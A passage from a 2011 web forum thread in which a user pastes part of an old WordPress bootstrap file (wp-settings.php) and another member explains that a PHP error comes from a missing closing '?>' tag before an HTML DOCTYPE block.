    if ( !defined( 'MUPLUGINDIR' ) )
    define( 'MUPLUGINDIR', 'wp-content/mu-plugins' ); // Relative to ABSPATH. For back compat.


    if ( is_dir( WPMU_PLUGIN_DIR ) ) {
    if ( $dh = opendir( WPMU_PLUGIN_DIR ) ) {
    while ( ( $plugin = readdir( $dh ) ) !== false ) {
    if ( substr( $plugin, -4 ) == '.php' ) {
    include_once( WPMU_PLUGIN_DIR . '/' . $plugin );
    }
    }
    }
    }
    do_action('muplugins_loaded');


    /**
    * Used to guarantee unique hash cookies
    * @since 1.5
    */
    define('COOKIEHASH', md5(get_option('siteurl')));


    /**
    * Should be exactly the same as the default value of SECRET_KEY in wp-config-sample.php
    * @since 2.5.0
    */
    $wp_default_secret_key = 'put your unique phrase here';


    /**
    * It is possible to define this in wp-config.php
    * @since 2.0.0
    */
    if ( !defined('USER_COOKIE') )
    define('USER_COOKIE', 'wordpressuser_' . COOKIEHASH);


    /**
    * It is possible to define this in wp-config.php
    * @since 2.0.0
    */
    if ( !defined('PASS_COOKIE') )
    define('PASS_COOKIE', 'wordpresspass_' . COOKIEHASH);


    /**
    * It is possible to define this in wp-config.php
    * @since 2.5.0
    */
    if ( !defined('AUTH_COOKIE') )
    define('AUTH_COOKIE', 'wordpress_' . COOKIEHASH);


    /**
    * It is possible to define this in wp-config.php
    * @since 2.6.0
    */
    if ( !defined('SECURE_AUTH_COOKIE') )
    define('SECURE_AUTH_COOKIE', 'wordpress_sec_' . COOKIEHASH);


    /**
    * It is possible to define this in wp-config.php
    * @since 2.6.0
    */
    if ( !defined('LOGGED_IN_COOKIE') )
    define('LOGGED_IN_COOKIE', 'wordpress_logged_in_' . COOKIEHASH);


    /**
    * It is possible to define this in wp-config.php
    * @since 2.3.0
    */
    if ( !defined('TEST_COOKIE') )
    define('TEST_COOKIE', 'wordpress_test_cookie');


    /**
    * It is possible to define this in wp-config.php
    * @since 1.2.0
    */
    if ( !defined('COOKIEPATH') )
    define('COOKIEPATH', preg_replace('|https?://[^/]+|i', '', get_option('home') . '/' ) );


    /**
    * It is possible to define this in wp-config.php
    * @since 1.5.0
    */
    if ( !defined('SITECOOKIEPATH') )
    define('SITECOOKIEPATH', preg_replace('|https?://[^/]+|i', '', get_option('siteurl') . '/' ) );


    /**
    * It is possible to define this in wp-config.php
    * @since 2.6.0
    */
    if ( !defined('ADMIN_COOKIE_PATH') )
    define( 'ADMIN_COOKIE_PATH', SITECOOKIEPATH . 'wp-admin' );


    /**
    * It is possible to define this in wp-config.php
    * @since 2.6.0
    */
    if ( !defined('PLUGINS_COOKIE_PATH') )
    define( 'PLUGINS_COOKIE_PATH', preg_replace('|https?://[^/]+|i', '', WP_PLUGIN_URL) );


    /**
    * It is possible to define this in wp-config.php
    * @since 2.0.0
    */
    if ( !defined('COOKIE_DOMAIN') )
    define('COOKIE_DOMAIN', false);


    /**
    * It is possible to define this in wp-config.php
    * @since 2.6.0
    */
    if ( !defined('FORCE_SSL_ADMIN') )
    define('FORCE_SSL_ADMIN', false);
    force_ssl_admin(FORCE_SSL_ADMIN);


    /**
    * It is possible to define this in wp-config.php
    * @since 2.6.0
    */
    if ( !defined('FORCE_SSL_LOGIN') )
    define('FORCE_SSL_LOGIN', false);
    force_ssl_login(FORCE_SSL_LOGIN);


    /**
    * It is possible to define this in wp-config.php
    * @since 2.5.0
    */
    if ( !defined( 'AUTOSAVE_INTERVAL' ) )
    define( 'AUTOSAVE_INTERVAL', 60 );


    /**
    * It is possible to define this in wp-config.php
    * @since 2.9.0
    */
    if ( !defined( 'EMPTY_TRASH_DAYS' ) )
    define( 'EMPTY_TRASH_DAYS', 30 );


    require (ABSPATH . WPINC . '/vars.php');


    // make taxonomies available to plugins and themes
    // @plugin authors: warning: this gets registered again on the init hook
    create_initial_taxonomies();


    // Check for hacks file if the option is enabled
    if ( get_option('hack_file') ) {
    if ( file_exists(ABSPATH . 'my-hacks.php') )
    require(ABSPATH . 'my-hacks.php');
    }


    $current_plugins = apply_filters( 'active_plugins', get_option( 'active_plugins' ) );
    if ( is_array($current_plugins) && !defined('WP_INSTALLING') ) {
    foreach ( $current_plugins as $plugin ) {
    // check the $plugin filename
    // Validate plugin filename
    if ( validate_file($plugin) // $plugin must validate as file
    || '.php' != substr($plugin, -4) // $plugin must end with '.php'
    || !file_exists(WP_PLUGIN_DIR . '/' . $plugin) // $plugin must exist
    )
    continue;


    include_once(WP_PLUGIN_DIR . '/' . $plugin);
    }
    unset($plugin);
    }
    unset($current_plugins);


    require (ABSPATH . WPINC . '/pluggable.php');


    /*
    * In most cases the default internal encoding is latin1, which is of no use,
    * since we want to use the mb_ functions for utf-8 strings
    */
    if (function_exists('mb_internal_encoding')) {
    if (!@mb_internal_encoding(get_option('blog_charset')))
    mb_internal_encoding('UTF-8');
    }




    if ( defined('WP_CACHE') && function_exists('wp_cache_postload') )
    wp_cache_postload();


    do_action('plugins_loaded');


    $default_constants = array( 'WP_POST_REVISIONS' => true );
    foreach ( $default_constants as $c => $v )
    @define( $c, $v ); // will fail if the constant is already defined
    unset($default_constants, $c, $v);


    // If already slashed, strip.
    if ( get_magic_quotes_gpc() ) {
    $_GET = stripslashes_deep($_GET );
    $_POST = stripslashes_deep($_POST );
    $_COOKIE = stripslashes_deep($_COOKIE);
    }


    // Escape with wpdb.
    $_GET = add_magic_quotes($_GET );
    $_POST = add_magic_quotes($_POST );
    $_COOKIE = add_magic_quotes($_COOKIE);
    $_SERVER = add_magic_quotes($_SERVER);


    // Force REQUEST to be GET + POST. If SERVER, COOKIE, or ENV are needed, use those superglobals directly.
    $_REQUEST = array_merge($_GET, $_POST);


    do_action('sanitize_comment_cookies');


    /**
    * WordPress Query object
    * @global object $wp_the_query
    * @since 2.0.0
    */
    $wp_the_query =& new WP_Query();


    /**
    * Holds the reference to @see $wp_the_query
    * Use this global for WordPress queries
    * @global object $wp_query
    * @since 1.5.0
    */
    $wp_query =& $wp_the_query;


    /**
    * Holds the WordPress Rewrite object for creating pretty URLs
    * @global object $wp_rewrite
    * @since 1.5.0
    */
    $wp_rewrite =& new WP_Rewrite();


    /**
    * WordPress Object
    * @global object $wp
    * @since 2.0.0
    */
    $wp =& new WP();


    /**
    * WordPress Widget Factory Object
    * @global object $wp_widget_factory
    * @since 2.8.0
    */
    $wp_widget_factory =& new WP_Widget_Factory();


    do_action('setup_theme');


    /**
    * Web Path to the current active template directory
    * @since 1.5.0
    */
    define('TEMPLATEPATH', get_template_directory());


    /**
    * Web Path to the current active template stylesheet directory
    * @since 2.1.0
    */
    define('STYLESHEETPATH', get_stylesheet_directory());


    // Load the default text localization domain.
    load_default_textdomain();


    /**
    * The locale of the blog
    * @since 1.5.0
    */
    $locale = get_locale();
    $locale_file = WP_LANG_DIR . "/$locale.php";
    if ( is_readable($locale_file) )
    require_once($locale_file);


    // Pull in locale data after loading text domain.
    require_once(ABSPATH . WPINC . '/locale.php');


    /**
    * WordPress Locale object for loading locale domain date and various strings.
    * @global object $wp_locale
    * @since 2.1.0
    */
    $wp_locale =& new WP_Locale();


    // Load functions for active theme.
    if ( TEMPLATEPATH !== STYLESHEETPATH && file_exists(STYLESHEETPATH . '/functions.php') )
    include(STYLESHEETPATH . '/functions.php');
    if ( file_exists(TEMPLATEPATH . '/functions.php') )
    include(TEMPLATEPATH . '/functions.php');


    // Load in support for template functions which the theme supports
    require_if_theme_supports( 'post-thumbnails', ABSPATH . WPINC . '/post-thumbnail-template.php' );


    /**
    * Runs just before PHP shuts down execution.
    *
    * @access private
    * @since 1.2.0
    */
    function shutdown_action_hook() {
    do_action('shutdown');
    wp_cache_close();
    }
    register_shutdown_function('shutdown_action_hook');


    $wp->init(); // Sets up current user.


    // Everything is loaded and initialized.
    do_action('init');
     
    johnsonasu35, Aug 29, 2011 IP
  20. Rukbat

    Rukbat Well-Known Member

    Messages:
    2,908
    Likes Received:
    37
    Best Answers:
    51
    Trophy Points:
    125
    #20
    All the errors in this thread, including yours, are basically the same. In yours, find

    header( 'Content-Type: text/html; charset=utf-8' );
    header( 'Retry-After: 600' );


    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>

    (I see it as lines 150-156 in my editor). Change it to

    header( 'Content-Type: text/html; charset=utf-8' );
    header( 'Retry-After: 600' );
    ?>

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>

    You're missing a closing tag (?>). "<!DOCTYPE ..." isn't valid PHP syntax.
     
    Rukbat, Aug 30, 2011 IP